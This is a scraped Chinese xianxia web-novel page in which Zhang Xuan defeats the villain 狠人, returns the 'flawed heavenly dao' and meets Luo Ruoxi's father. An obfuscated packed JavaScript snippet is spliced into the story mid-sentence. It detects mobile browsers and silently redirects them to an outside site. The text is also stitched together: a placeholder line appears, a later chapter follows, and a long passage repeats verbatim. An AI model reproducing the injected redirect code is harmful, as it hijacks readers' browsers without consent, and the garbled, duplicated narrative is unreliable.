“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225621|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第204章请君入瓮 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 